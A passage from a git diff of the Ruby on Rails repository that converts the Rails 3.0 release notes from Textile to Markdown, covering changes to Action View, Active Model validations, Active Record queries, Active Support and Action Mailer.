`grouped_collection_select` helper to Action View. +* `content_for?` has been added allowing you to check for the existence of content in a view before rendering. +* passing `:value => nil` to form helpers will set the field's `value` attribute to nil as opposed to using the default value +* passing `:id => nil` to form helpers will cause those fields to be rendered with no `id` attribute +* passing `:alt => nil` to `image_tag` will cause the `img` tag to render with no `alt` attribute + +Active Model +------------ + +Active Model is new in Rails 3.0. It provides an abstraction layer for any ORM libraries to use to interact with Rails by implementing an Active Model interface. + + +### ORM Abstraction and Action Pack Interface + +Part of decoupling the core components was extracting all ties to Active Record from Action Pack. This has now been completed. All new ORM plugins now just need to implement Active Model interfaces to work seamlessly with Action Pack. + +More Information: - [Make Any Ruby Object Feel Like ActiveRecord](http://yehudakatz.com/2010/01/10/activemodel-make-any-ruby-object-feel-like-activerecord/) + + +### Validations + +Validations have been moved from Active Record into Active Model, providing an interface to validations that works across ORM libraries in Rails 3. + +* There is now a `validates :attribute, options_hash` shortcut method that allows you to pass options for all the validates class methods, you can pass more than one option to a validate method. +* The `validates` method has the following options: + * `:acceptance => Boolean`. + * `:confirmation => Boolean`. + * `:exclusion => { :in => Enumerable }`. + * `:inclusion => { :in => Enumerable }`. + * `:format => { :with => Regexp, :on => :create }`. + * `:length => { :maximum => Fixnum }`. + * `:numericality => Boolean`. + * `:presence => Boolean`. + * `:uniqueness => Boolean`. + +NOTE: All the Rails version 2.3 style validation methods are still supported in Rails 3.0, the new validates method is designed as an additional aid in your model validations, not a replacement for the existing API. + +You can also pass in a validator object, which you can then reuse between objects that use Active Model: + +```ruby +class TitleValidator < ActiveModel::EachValidator + Titles = ['Mr.', 'Mrs.', 'Dr.'] + def validate_each(record, attribute, value) + unless Titles.include?(value) + record.errors[attribute] << 'must be a valid title' + end + end +end +``` + +```ruby +class Person + include ActiveModel::Validations + attr_accessor :title + validates :title, :presence => true, :title => true +end + +# Or for Active Record + +class Person < ActiveRecord::Base + validates :title, :presence => true, :title => true +end +``` + +There's also support for introspection: + +```ruby +User.validators +User.validators_on(:login) +``` + +More Information: + +* [Sexy Validation in Rails 3](http://thelucid.com/2010/01/08/sexy-validation-in-edge-rails-rails-3/) +* [Rails 3 Validations Explained](http://lindsaar.net/2010/1/31/validates_rails_3_awesome_is_true) + + +Active Record +------------- + +Active Record received a lot of attention in Rails 3.0, including abstraction into Active Model, a full update to the Query interface using Arel, validation updates and many enhancements and fixes. All of the Rails 2.x API will be usable through a compatibility layer that will be supported until version 3.1. + + +### Query Interface + +Active Record, through the use of Arel, now returns relations on its core methods. The existing API in Rails 2.3.x is still supported and will not be deprecated until Rails 3.1 and not removed until Rails 3.2, however, the new API provides the following new methods that all return relations allowing them to be chained together: + +* `where` - provides conditions on the relation, what gets returned. +* `select` - choose what attributes of the models you wish to have returned from the database. +* `group` - groups the relation on the attribute supplied. +* `having` - provides an expression limiting group relations (GROUP BY constraint). +* `joins` - joins the relation to another table. +* `clause` - provides an expression limiting join relations (JOIN constraint). +* `includes` - includes other relations pre-loaded. +* `order` - orders the relation based on the expression supplied. +* `limit` - limits the relation to the number of records specified. +* `lock` - locks the records returned from the table. +* `readonly` - returns an read only copy of the data. +* `from` - provides a way to select relationships from more than one table. +* `scope` - (previously `named_scope`) return relations and can be chained together with the other relation methods. +* `with_scope` - and `with_exclusive_scope` now also return relations and so can be chained. +* `default_scope` - also works with relations. + +More Information: + +* [Active Record Query Interface](http://m.onkey.org/2010/1/22/active-record-query-interface) +* [Let your SQL Growl in Rails 3](http://hasmanyquestions.wordpress.com/2010/01/17/let-your-sql-growl-in-rails-3/) + + +### Enhancements + +* Added `:destroyed?` to Active Record objects. +* Added `:inverse_of` to Active Record associations allowing you to pull the instance of an already loaded association without hitting the database. + + +### Patches and Deprecations + +Additionally, many fixes in the Active Record branch: + +* SQLite 2 support has been dropped in favor of SQLite 3. +* MySQL support for column order. +* PostgreSQL adapter has had its `TIME ZONE` support fixed so it no longer inserts incorrect values. +* Support multiple schemas in table names for PostgreSQL. +* PostgreSQL support for the XML data type column. +* `table_name` is now cached. +* A large amount of work done on the Oracle adapter as well with many bug fixes. + +As well as the following deprecations: + +* `named_scope` in an Active Record class is deprecated and has been renamed to just `scope`. +* In `scope` methods, you should move to using the relation methods, instead of a `:conditions => {}` finder method, for example `scope :since, lambda {|time| where("created_at > ?", time) }`. +* `save(false)` is deprecated, in favor of `save(:validate => false)`. +* I18n error messages for ActiveRecord should be changed from :en.activerecord.errors.template to `:en.errors.template`. +* `model.errors.on` is deprecated in favor of `model.errors[]` +* validates_presence_of => validates... :presence => true +* `ActiveRecord::Base.colorize_logging` and `config.active_record.colorize_logging` are deprecated in favor of `Rails::LogSubscriber.colorize_logging` or `config.colorize_logging` + +NOTE: While an implementation of State Machine has been in Active Record edge for some months now, it has been removed from the Rails 3.0 release. + + +Active Resource +--------------- + +Active Resource was also extracted out to Active Model allowing you to use Active Resource objects with Action Pack seamlessly. + +* Added validations through Active Model. +* Added observing hooks. +* HTTP proxy support. +* Added support for digest authentication. +* Moved model naming into Active Model. +* Changed Active Resource attributes to a Hash with indifferent access. +* Added `first`, `last` and `all` aliases for equivalent find scopes. +* `find_every` now does not return a `ResourceNotFound` error if nothing returned. +* Added `save!` which raises `ResourceInvalid` unless the object is `valid?`. +* `update_attribute` and `update_attributes` added to Active Resource models. +* Added `exists?`. +* Renamed `SchemaDefinition` to `Schema` and `define_schema` to `schema`. +* Use the `format` of Active Resources rather than the `content-type` of remote errors to load errors. +* Use `instance_eval` for schema block. +* Fix `ActiveResource::ConnectionError#to_s` when `@response` does not respond to #code or #message, handles Ruby 1.9 compatibility. +* Add support for errors in JSON format. +* Ensure `load` works with numeric arrays. +* Recognizes a 410 response from remote resource as the resource has been deleted. +* Add ability to set SSL options on Active Resource connections. +* Setting connection timeout also affects `Net::HTTP` `open_timeout`. + +Deprecations: + +* `save(false)` is deprecated, in favor of `save(:validate => false)`. +* Ruby 1.9.2: `URI.parse` and `.decode` are deprecated and are no longer used in the library. + + +Active Support +-------------- + +A large effort was made in Active Support to make it cherry pickable, that is, you no longer have to require the entire Active Support library to get pieces of it. This allows the various core components of Rails to run slimmer. + +These are the main changes in Active Support: + +* Large clean up of the library removing unused methods throughout. +* Active Support no longer provides vendored versions of [TZInfo](http://tzinfo.rubyforge.org/), [Memcache Client](http://deveiate.org/projects/RMemCache/) and [Builder](http://builder.rubyforge.org/,) these are all included as dependencies and installed via the `bundle install` command. +* Safe buffers are implemented in `ActiveSupport::SafeBuffer`. +* Added `Array.uniq_by` and `Array.uniq_by!`. +* Removed `Array#rand` and backported `Array#sample` from Ruby 1.9. +* Fixed bug on `TimeZone.seconds_to_utc_offset` returning wrong value. +* Added `ActiveSupport::Notifications` middleware. +* `ActiveSupport.use_standard_json_time_format` now defaults to true. +* `ActiveSupport.escape_html_entities_in_json` now defaults to false. +* `Integer#multiple_of?` accepts zero as an argument, returns false unless the receiver is zero. +* `string.chars` has been renamed to `string.mb_chars`. +* `ActiveSupport::OrderedHash` now can de-serialize through YAML. +* Added SAX-based parser for XmlMini, using LibXML and Nokogiri. +* Added `Object#presence` that returns the object if it's `#present?` otherwise returns `nil`. +* Added `String#exclude?` core extension that returns the inverse of `#include?`. +* Added `to_i` to `DateTime` in `ActiveSupport` so `to_yaml` works correctly on models with `DateTime` attributes. +* Added `Enumerable#exclude?` to bring parity to `Enumerable#include?` and avoid if `!x.include?`. +* Switch to on-by-default XSS escaping for rails. +* Support deep-merging in `ActiveSupport::HashWithIndifferentAccess`. +* `Enumerable#sum` now works will all enumerables, even if they don't respond to `:size`. +* `inspect` on a zero length duration returns '0 seconds' instead of empty string. +* Add `element` and `collection` to `ModelName`. +* `String#to_time` and `String#to_datetime` handle fractional seconds. +* Added support to new callbacks for around filter object that respond to `:before` and `:after` used in before and after callbacks. +* The `ActiveSupport::OrderedHash#to_a` method returns an ordered set of arrays. Matches Ruby 1.9's `Hash#to_a`. +* `MissingSourceFile` exists as a constant but it is now just equals to `LoadError`. +* Added `Class#class_attribute`, to be able to declare a class-level attribute whose value is inheritable and overwritable by subclasses. +* Finally removed `DeprecatedCallbacks` in `ActiveRecord::Associations`. +* `Object#metaclass` is now `Kernel#singleton_class` to match Ruby. + +The following methods have been removed because they are now available in Ruby 1.8.7 and 1.9. + +* `Integer#even?` and `Integer#odd?` +* `String#each_char` +* `String#start_with?` and `String#end_with?` (3rd person aliases still kept) +* `String#bytesize` +* `Object#tap` +* `Symbol#to_proc` +* `Object#instance_variable_defined?` +* `Enumerable#none?` + +The security patch for REXML remains in Active Support because early patch-levels of Ruby 1.8.7 still need it. Active Support knows whether it has to apply it or not. + +The following methods have been removed because they are no longer used in the framework: + +* `Kernel#daemonize` +* `Object#remove_subclasses_of` `Object#extend_with_included_modules_from`, `Object#extended_by` +* `Class#remove_class` +* `Regexp#number_of_captures`, `Regexp.unoptionalize`, `Regexp.optionalize`, `Regexp#number_of_captures` + + +Action Mailer +------------- + +Action Mailer has been given a new API with TMail being replaced out with the new [Mail](http://github.com/mikel/mail) as the Email library. Action Mailer itself has been given an almost complete re-write with pretty much every line of code touched. The result is that Action Mailer now simply inherits from Abstract Controller and wraps the Mail gem in a Rails DSL. This reduces the amount of code and duplication of other libraries in Action Mailer considerably. + +* All mailers are now in `app/mailers` by default. +* Can now send email using new API with three methods: `attachments`, `headers` and `mail`. +* ActionMailer now has native support for inline attachments using the `attachments.inline` method. +* Action Mailer emailing methods now return `Mail::Message` objects, which can then be sent the `deliver` message to send itself. +* All delivery methods are now abstracted out to the Mail gem. +* The mail delivery method can accept a hash of all valid mail header fields with their value pair. +* The `mail` delivery method acts in a similar way to Action Controller's `respond_to`, and you can explicitly or implicitly render templates. Action Mailer will turn the email into a multipart email as needed. +* You can pass a proc to the `format.mime_type` calls within the mail block and explicitly render specific types of text, or add layouts or different templates. The `render` call inside the proc is from Abstract Controller and supports the same options. +* What were mailer unit tests have been moved to functional tests. +* Action Mailer now delegates all auto encoding of header fields and bodies to Mail Gem +* Action Mailer will auto encode email bodies and headers for you + +Deprecations: + +* `:charset`, `:content_type`, `:mime_version`, `:implicit_parts_order` are all deprecated in favor of `ActionMailer.default :key => value` style declarations. +* Mailer dynamic `create_method_name` and `deliver_method_name` are deprecated, just call `method_name` which now returns a `Mail::Message` object. +* `ActionMailer.deliver(message)` is deprecated, just call `message.deliver`. +* `template_root` is deprecated, pass options to a render call inside a proc from the `format.mime_type` method inside the `mail` generation block +* The `body` method to define instance variables is deprecated (`body {:ivar => value}`), just declare instance variables in the method directly and they will be available in the view. +* Mailers being in `app/models` is deprecated, use `app/mailers` instead. + +More Information: + +* [New Action Mailer API in Rails 3](http://lindsaar.net/2010/1/26/new-actionmailer-api-in-rails-3) +* [New Mail Gem for Ruby](http://lindsaar.net/2010/1/23/mail-gem-version-2-released) + + +Credits +------- + +See the [full list of contributors to Rails](http://contributors.rubyonrails.org/) for the many people who spent many hours making Rails 3. Kudos to all of them. + +Rails 3.0 Release Notes were compiled by [Mikel Lindsaar](http://lindsaar.net.) + diff --git a/guides/source/3_0_release_notes.textile b/guides/source/3_0_release_notes.textile deleted file mode 100644 index d22c76dd81..0000000000 --- a/guides/source/3_0_release_notes.textile +++ /dev/null @@ -1,595 +0,0 @@ -h2. Ruby on Rails 3.0 Release Notes - -Rails 3.0 is ponies and rainbows! It's going to cook you dinner and fold your laundry. You're going to wonder how life was ever possible before it arrived. It's the Best Version of Rails We've Ever Done! - -But seriously now, it's really good stuff. There are all the good ideas brought over from when the Merb team joined the party and brought a focus on framework agnosticism, slimmer and faster internals, and a handful of tasty APIs. If you're coming to Rails 3.0 from Merb 1.x, you should recognize lots. If you're coming from Rails 2.x, you're going to love it too. - -Even if you don't give a hoot about any of our internal cleanups, Rails 3.0 is going to delight. We have a bunch of new features and improved APIs. It's never been a better time to be a Rails developer. Some of the highlights are: - -* Brand new router with an emphasis on RESTful declarations -* New Action Mailer API modeled after Action Controller (now without the agonizing pain of sending multipart messages!) -* New Active Record chainable query language built on top of relational algebra -* Unobtrusive JavaScript helpers with drivers for Prototype, jQuery, and more coming (end of inline JS) -* Explicit dependency management with Bundler - -On top of all that, we've tried our best to deprecate the old APIs with nice warnings. That means that you can move your existing application to Rails 3 without immediately rewriting all your old code to the latest best practices. - -These release notes cover the major upgrades, but don't include every little bug fix and change. Rails 3.0 consists of almost 4,000 commits by more than 250 authors! If you want to see everything, check out the "list of commits":http://github.com/rails/rails/commits/master in the main Rails repository on GitHub. - -endprologue. - -To install Rails 3: - -<shell> -# Use sudo if your setup requires it -$ gem install rails -</shell> - - -h3. Upgrading to Rails 3 - -If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 2.3.5 and make sure your application still runs as expected before attempting to update to Rails 3. Then take heed of the following changes: - -h4. Rails 3 requires at least Ruby 1.8.7 - -Rails 3.0 requires Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially and you should upgrade as early as possible. Rails 3.0 is also compatible with Ruby 1.9.2. - -TIP: Note that Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails 3.0. Ruby Enterprise Edition have these fixed since release 1.8.7-2010.02 though. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults on Rails 3.0, so if you want to use Rails 3 with 1.9.x jump on 1.9.2 for smooth sailing. - -h4. Rails Application object - -As part of the groundwork for supporting running multiple Rails applications in the same process, Rails 3 introduces the concept of an Application object. An application object holds all the application specific configurations and is very similar in nature to +config/environment.rb+ from the previous versions of Rails. - -Each Rails application now must have a corresponding application object. The application object is defined in +config/application.rb+. If you're upgrading an existing application to Rails 3, you must add this file and move the appropriate configurations from +config/environment.rb+ to +config/application.rb+. - -h4. script/* replaced by script/rails - -The new <tt>script/rails</tt> replaces all the scripts that used to be in the <tt>script</tt> directory. You do not run <tt>script/rails</tt> directly though, the +rails+ command detects it is being invoked in the root of a Rails application and runs the script for you. Intended usage is: - -<shell> -$ rails console # instead of script/console -$ rails g scaffold post title:string # instead of script/generate scaffold post title:string -</shell> - -Run <tt>rails --help</tt> for a list of all the options. - -h4. Dependencies and config.gem - -The +config.gem+ method is gone and has been replaced by using +bundler+ and a +Gemfile+, see "Vendoring Gems":#vendoring-gems below. - -h4. Upgrade Process - -To help with the upgrade process, a plugin named "Rails Upgrade":http://github.com/rails/rails_upgrade has been created to automate part of it. - -Simply install the plugin, then run +rake rails:upgrade:check+ to check your app for pieces that need to be updated (with links to information on how to update them). It also offers a task to generate a +Gemfile+ based on your current +config.gem+ calls and a task to generate a new routes file from your current one. To get the plugin, simply run the following: - -<shell> -$ ruby script/plugin install git://github.com/rails/rails_upgrade.git -</shell> - -You can see an example of how that works at "Rails Upgrade is now an Official Plugin":http://omgbloglol.com/post/364624593/rails-upgrade-is-now-an-official-plugin - -Aside from Rails Upgrade tool, if you need more help, there are people on IRC and "rubyonrails-talk":http://groups.google.com/group/rubyonrails-talk that are probably doing the same thing, possibly hitting the same issues. Be sure to blog your own experiences when upgrading so others can benefit from your knowledge! - -More information - "The Path to Rails 3: Approaching the upgrade":http://omgbloglol.com/post/353978923/the-path-to-rails-3-approaching-the-upgrade - -h3. Creating a Rails 3.0 application - -<shell> -# You should have the 'rails' rubygem installed -$ rails new myapp -$ cd myapp -</shell> - -h4. Vendoring Gems - -Rails now uses a +Gemfile+ in the application root to determine the gems you require for your application to start. This +Gemfile+ is processed by the "Bundler":http://github.com/carlhuda/bundler, which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems. - -More information: - "bundler homepage":http://gembundler.com - -h4. Living on the Edge - -+Bundler+ and +Gemfile+ makes freezing your Rails application easy as pie with the new dedicated <tt>bundle</tt> command, so <tt>rake freeze</tt> is no longer relevant and has been dropped. - -If you want to bundle straight from the Git repository, you can pass the +--edge+ flag: - -<shell> -$ rails new myapp --edge -</shell> - -If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the +--dev+ flag: - -<shell> -$ ruby /path/to/rails/bin/rails new myapp --dev -</shell> - -h3. Rails Architectural Changes - -There are six major changes in the architecture of Rails. - -h4. Railties Restrung - -Railties was updated to provide a consistent plugin API for the entire Rails framework as well as a total rewrite of generators and the Rails bindings, the result is that developers can now hook into any significant stage of the generators and application framework in a consistent, defined manner. - -h4. All Rails core components are decoupled - -With the merge of Merb and Rails, one of the big jobs was to remove the tight coupling between Rails core components. This has now been achieved, and all Rails core components are now using the same API that you can use for developing plugins. This means any plugin you make, or any core component replacement (like DataMapper or Sequel) can access all the functionality that the Rails core components have access to and extend and enhance at will. - -More information: - "The Great Decoupling":http://yehudakatz.com/2009/07/19/rails-3-the-great-decoupling/ - - -h4. Active Model Abstraction - -Part of decoupling the core components was extracting all ties to Active Record from Action Pack. This has now been completed. All new ORM plugins now just need to implement Active Model interfaces to work seamlessly with Action Pack. - -More information: - "Make Any Ruby Object Feel Like ActiveRecord":http://yehudakatz.com/2010/01/10/activemodel-make-any-ruby-object-feel-like-activerecord/ - - -h4. Controller Abstraction - -Another big part of decoupling the core components was creating a base superclass that is separated from the notions of HTTP in order to handle rendering of views etc. This creation of +AbstractController+ allowed +ActionController+ and +ActionMailer+ to be greatly simplified with common code removed from all these libraries and put into Abstract Controller. - -More Information: - "Rails Edge Architecture":http://yehudakatz.com/2009/06/11/rails-edge-architecture/ - - -h4. Arel Integration - -"Arel":http://github.com/brynary/arel (or Active Relation) has been taken on as the underpinnings of Active Record and is now required for Rails. Arel provides an SQL abstraction that simplifies out Active Record and provides the underpinnings for the relation functionality in Active Record. - -More information: - "Why I wrote Arel":http://magicscalingsprinkles.wordpress.com/2010/01/28/why-i-wrote-arel/. - - -h4. Mail Extraction - -Action Mailer ever since its beginnings has had monkey patches, pre parsers and even delivery and receiver agents, all in addition to having TMail vendored in the source tree. Version 3 changes that with all email message related functionality abstracted out to the "Mail":http://github.com/mikel/mail gem. This again reduces code duplication and helps create definable boundaries between Action Mailer and the email parser. - -More information: - "New Action Mailer API in Rails 3":http://lindsaar.net/2010/1/26/new-actionmailer-api-in-rails-3 - - -h3. Documentation - -The documentation in the Rails tree is being updated with all the API changes, additionally, the "Rails Edge Guides":http://edgeguides.rubyonrails.org/ are being updated one by one to reflect the changes in Rails 3.0. The guides at "guides.rubyonrails.org":http://guides.rubyonrails.org/ however will continue to contain only the stable version of Rails (at this point, version 2.3.5, until 3.0 is released). - -More Information: - "Rails Documentation Projects":http://weblog.rubyonrails.org/2009/1/15/rails-documentation-projects. - - -h3. Internationalization - -A large amount of work has been done with I18n support in Rails 3, including the latest "I18n":http://github.com/svenfuchs/i18n gem supplying many speed improvements. - -* I18n for any object - I18n behavior can be added to any object by including <tt>ActiveModel::Translation</tt> and <tt>ActiveModel::Validations</tt>. There is also an <tt>errors.messages</tt> fallback for translations. -* Attributes can have default translations. -* Form Submit Tags automatically pull the correct status (Create or Update) depending on the object status, and so pull the correct translation. -* Labels with I18n also now work by just passing the attribute name. - -More Information: - "Rails 3 I18n changes":http://blog.plataformatec.com.br/2010/02/rails-3-i18n-changes/ - - -h3. Railties - -With the decoupling of the main Rails frameworks, Railties got a huge overhaul so as to make linking up frameworks, engines or plugins as painless and extensible as possible: - -* Each application now has its own name space, application is started with <tt>YourAppName.boot</tt> for example, makes interacting with other applications a lot easier. -* Anything under <tt>Rails.root/app</tt> is now added to the load path, so you can make <tt>app/observers/user_observer.rb</tt> and Rails will load it without any modifications. -* Rails 3.0 now provides a <tt>Rails.config</tt> object, which provides a central repository of all sorts of Rails wide configuration options. - -Application generation has received extra flags allowing you to skip the installation of test-unit, Active Record, Prototype and Git. Also a new <tt>--dev</tt> flag has been added which sets the application up with the +Gemfile+ pointing to your Rails checkout (which is determined by the path to the +rails+ binary). See <tt>rails --help</tt> for more info. - -Railties generators got a huge amount of attention in Rails 3.0, basically: - -* Generators were completely rewritten and are backwards incompatible. -* Rails templates API and generators API were merged (they are the same as the former). -* Generators are no longer loaded from special paths anymore, they are just found in the Ruby load path, so calling <tt>rails generate foo</tt> will look for <tt>generators/foo_generator</tt>. -* New generators provide hooks, so any template engine, ORM, test framework can easily hook in. -* New generators allow you to override the templates by placing a copy at <tt>Rails.root/lib/templates</tt>. -* <tt>Rails::Generators::TestCase</tt> is also supplied so you can create your own generators and test them. - -Also, the views generated by Railties generators had some overhaul: - -* Views now use +div+ tags instead of +p+ tags. -* Scaffolds generated now make use of <tt>_form</tt> partials, instead of duplicated code in the edit and new views. -* Scaffold forms now use <tt>f.submit</tt> which returns "Create ModelName" or "Update ModelName" depending on the state of the object passed in. - -Finally a couple of enhancements were added to the rake tasks: - -* <tt>rake db:forward</tt> was added, allowing you to roll forward your migrations individually or in groups. -* <tt>rake routes CONTROLLER=x</tt> was added allowing you to just view the routes for one controller. - -Railties now deprecates: - -* <tt>RAILS_ROOT</tt> in favor of <tt>Rails.root</tt>, -* <tt>RAILS_ENV</tt> in favor of <tt>Rails.env</tt>, and -* <tt>RAILS_DEFAULT_LOGGER</tt> in favor of <tt>Rails.logger</tt>. - -<tt>PLUGIN/rails/tasks</tt>, and <tt>PLUGIN/tasks</tt> are no longer loaded all tasks now must be in <tt>PLUGIN/lib/tasks</tt>. - -More information: -* "Discovering Rails 3 generators":http://blog.plataformatec.com.br/2010/01/discovering-rails-3-generators -* "Making Generators for Rails 3 with Thor":http://caffeinedd.com/guides/331-making-generators-for-rails-3-with-thor -* "The Rails Module (in Rails 3)":http://litanyagainstfear.com/blog/2010/02/03/the-rails-module/ - -h3. Action Pack - -There have been significant internal and external changes in Action Pack. - - -h4. Abstract Controller - -Abstract Controller pulls out the generic parts of Action Controller into a reusable module that any library can use to render templates, render partials, helpers, translations, logging, any part of the request response cycle. This abstraction allowed <tt>ActionMailer::Base</tt> to now just inherit from +AbstractController+ and just wrap the Rails DSL onto the Mail gem. - -It also provided an opportunity to clean up Action Controller, abstracting out what could to simplify the code. - -Note however that Abstract Controller is not a user facing API, you will not run into it in your day to day use of Rails. - -More Information: - "Rails Edge Architecture":http://yehudakatz.com/2009/06/11/rails-edge-architecture/ - - -h4. Action Controller - -* <tt>application_controller.rb</tt> now has <tt>protect_from_forgery</tt> on by default. -* The <tt>cookie_verifier_secret</tt> has been deprecated and now instead it is assigned through <tt>Rails.application.config.cookie_secret</tt> and moved into its own file: <tt>config/initializers/cookie_verification_secret.rb</tt>. -* The <tt>session_store</tt> was configured in <tt>ActionController::Base.session</tt>, and that is now moved to <tt>Rails.application.config.session_store</tt>. Defaults are set up in <tt>config/initializers/session_store.rb</tt>. -* <tt>cookies.secure</tt> allowing you to set encrypted values in cookies with <tt>cookie.secure[:key] => value</tt>. -* <tt>cookies.permanent</tt> allowing you to set permanent values in the cookie hash <tt>cookie.permanent[:key] => value</tt> that raise exceptions on signed values if verification failures. -* You can now pass <tt>:notice => 'This is a flash message'</tt> or <tt>:alert => 'Something went wrong'</tt> to the <tt>format</tt> call inside a +respond_to+ block. The <tt>flash[]</tt> hash still works as previously. -* <tt>respond_with</tt> method has now been added to your controllers simplifying the venerable +format+ blocks. -* <tt>ActionController::Responder</tt> added allowing you flexibility in how your responses get generated. - -Deprecations: - -* <tt>filter_parameter_logging</tt> is deprecated in favor of <tt>config.filter_parameters << :password</tt>. - -More Information: -* "Render Options in Rails 3":http://www.engineyard.com/blog/2010/render-options-in-rails-3/ -* "Three reasons to love ActionController::Responder":http://weblog.rubyonrails.org/2009/8/31/three-reasons-love-responder - - -h4. Action Dispatch - -Action Dispatch is new in Rails 3.0 and provides a new, cleaner implementation for routing. - -* Big clean up and re-write of the router, the Rails router is now +rack_mount+ with a Rails DSL on top, it is a stand alone piece of software. -* Routes defined by each application are now name spaced within your Application module, that is: - -<ruby> -# Instead of: - -ActionController::Routing::Routes.draw do |map| - map.resources :posts -end - -# You do: - -AppName::Application.routes do - resources :posts -end -</ruby> - -* Added +match+ method to the router, you can also pass any Rack application to the matched route. -* Added +constraints+ method to the router, allowing you to guard routers with defined constraints. -* Added +scope+ method to the router, allowing you to namespace routes for different languages or different actions, for example: - -<ruby> -scope 'es' do - resources :projects, :path_names => { :edit => 'cambiar' }, :path => 'proyecto' -end - -# Gives you the edit action with /es/proyecto/1/cambiar -</ruby> - -* Added +root+ method to the router as a short cut for <tt>match '/', :to => path</tt>. -* You can pass optional segments into the match, for example <tt>match "/:controller(/:action(/:id))(.:format)"</tt>, each parenthesized segment is optional. -* Routes can be expressed via blocks, for example you can call <tt>controller :home { match '/:action' }</tt>. - -NOTE. The old style <tt>map</tt> commands still work as before with a backwards compatibility layer, however this will be removed in the 3.1 release. - -Deprecations - -* The catch all route for non-REST applications (<tt>/:controller/:action/:id</tt>) is now commented out. -* Routes :path_prefix no longer exists and :name_prefix now automatically adds "_" at the end of the given value. - -More Information: -* "The Rails 3 Router: Rack it Up":http://yehudakatz.com/2009/12/26/the-rails-3-router-rack-it-up/ -* "Revamped Routes in Rails 3":http://rizwanreza.com/2009/12/20/revamped-routes-in-rails-3 -* "Generic Actions in Rails 3":http://yehudakatz.com/2009/12/20/generic-actions-in-rails-3/ - - -h4. Action View - -h5. Unobtrusive JavaScript - -Major re-write was done in the Action View helpers, implementing Unobtrusive JavaScript (UJS) hooks and removing the old inline AJAX commands. This enables Rails to use any compliant UJS driver to implement the UJS hooks in the helpers. - -What this means is that all previous <tt>remote_<method></tt> helpers have been removed from Rails core and put into the "Prototype Legacy Helper":http://github.com/rails/prototype_legacy_helper. To get UJS hooks into your HTML, you now pass <tt>:remote => true</tt> instead. For example: - -<ruby> -form_for @post, :remote => true -</ruby> - -Produces: - -<html> -<form action="http://host.com" id="create-post" method="post" data-remote="true"> -</html> - -h5. Helpers with Blocks - -Helpers like +form_for+ or +div_for+ that insert content from a block use +<%=+ now: - -<erb> -<%= form_for @post do |f| %> - ... -<% end %> -</erb> - -Your own helpers of that kind are expected to return a string, rather than appending to the output buffer by hand. - -Helpers that do something else, like +cache+ or +content_for+, are not affected by this change, they need +<%+ as before. - -h5. Other Changes - -* You no longer need to call <tt>h(string)</tt> to escape HTML output, it is on by default in all view templates. If you want the unescaped string, call <tt>raw(string)</tt>. -* Helpers now output HTML 5 by default. -* Form label helper now pulls values from I18n with a single value, so <tt>f.label :name</tt> will pull the <tt>:name</tt> translation. -* I18n select label on should now be :en.helpers.select instead of :en.support.select. -* You no longer need to place a minus sign at the end of a ruby interpolation inside an ERb template to remove the trailing carriage return in the HTML output. -* Added +grouped_collection_select+ helper to Action View. -* +content_for?+ has been added allowing you to check for the existence of content in a view before rendering. -* passing +:value => nil+ to form helpers will set the field's +value+ attribute to nil as opposed to using the default value -* passing +:id => nil+ to form helpers will cause those fields to be rendered with no +id+ attribute -* passing +:alt => nil+ to +image_tag+ will cause the +img+ tag to render with no +alt+ attribute - -h3. Active Model - -Active Model is new in Rails 3.0. It provides an abstraction layer for any ORM libraries to use to interact with Rails by implementing an Active Model interface. - - -h4. ORM Abstraction and Action Pack Interface - -Part of decoupling the core components was extracting all ties to Active Record from Action Pack. This has now been completed. All new ORM plugins now just need to implement Active Model interfaces to work seamlessly with Action Pack. - -More Information: - "Make Any Ruby Object Feel Like ActiveRecord":http://yehudakatz.com/2010/01/10/activemodel-make-any-ruby-object-feel-like-activerecord/ - - -h4. Validations - -Validations have been moved from Active Record into Active Model, providing an interface to validations that works across ORM libraries in Rails 3. - -* There is now a <tt>validates :attribute, options_hash</tt> shortcut method that allows you to pass options for all the validates class methods, you can pass more than one option to a validate method. -* The +validates+ method has the following options: -** <tt>:acceptance => Boolean</tt>. -** <tt>:confirmation => Boolean</tt>. -** <tt>:exclusion => { :in => Enumerable }</tt>. -** <tt>:inclusion => { :in => Enumerable }</tt>. -** <tt>:format => { :with => Regexp, :on => :create }</tt>. -** <tt>:length => { :maximum => Fixnum }</tt>. -** <tt>:numericality => Boolean</tt>. -** <tt>:presence => Boolean</tt>. -** <tt>:uniqueness => Boolean</tt>. - -NOTE: All the Rails version 2.3 style validation methods are still supported in Rails 3.0, the new validates method is designed as an additional aid in your model validations, not a replacement for the existing API. - -You can also pass in a validator object, which you can then reuse between objects that use Active Model: - -<ruby> -class TitleValidator < ActiveModel::EachValidator - Titles = ['Mr.', 'Mrs.', 'Dr.'] - def validate_each(record, attribute, value) - unless Titles.include?(value) - record.errors[attribute] << 'must be a valid title' - end - end -end -</ruby> - -<ruby> -class Person - include ActiveModel::Validations - attr_accessor :title - validates :title, :presence => true, :title => true -end - -# Or for Active Record - -class Person < ActiveRecord::Base - validates :title, :presence => true, :title => true -end -</ruby> - -There's also support for introspection: - -<ruby> -User.validators -User.validators_on(:login) -</ruby> - -More Information: -* "Sexy Validation in Rails 3":http://thelucid.com/2010/01/08/sexy-validation-in-edge-rails-rails-3/ -* "Rails 3 Validations Explained":http://lindsaar.net/2010/1/31/validates_rails_3_awesome_is_true - - -h3. Active Record - -Active Record received a lot of attention in Rails 3.0, including abstraction into Active Model, a full update to the Query interface using Arel, validation updates and many enhancements and fixes. All of the Rails 2.x API will be usable through a compatibility layer that will be supported until version 3.1. - - -h4. Query Interface - -Active Record, through the use of Arel, now returns relations on its core methods. The existing API in Rails 2.3.x is still supported and will not be deprecated until Rails 3.1 and not removed until Rails 3.2, however, the new API provides the following new methods that all return relations allowing them to be chained together: - -* <tt>where</tt> - provides conditions on the relation, what gets returned. -* <tt>select</tt> - choose what attributes of the models you wish to have returned from the database. -* <tt>group</tt> - groups the relation on the attribute supplied. -* <tt>having</tt> - provides an expression limiting group relations (GROUP BY constraint). -* <tt>joins</tt> - joins the relation to another table. -* <tt>clause</tt> - provides an expression limiting join relations (JOIN constraint). -* <tt>includes</tt> - includes other relations pre-loaded. -* <tt>order</tt> - orders the relation based on the expression supplied. -* <tt>limit</tt> - limits the relation to the number of records specified. -* <tt>lock</tt> - locks the records returned from the table. -* 